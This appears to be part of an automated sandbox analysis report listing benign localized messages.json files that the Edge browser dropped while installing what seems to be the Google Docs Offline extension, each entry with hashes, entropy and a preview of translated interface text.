Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7948_2069013887\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
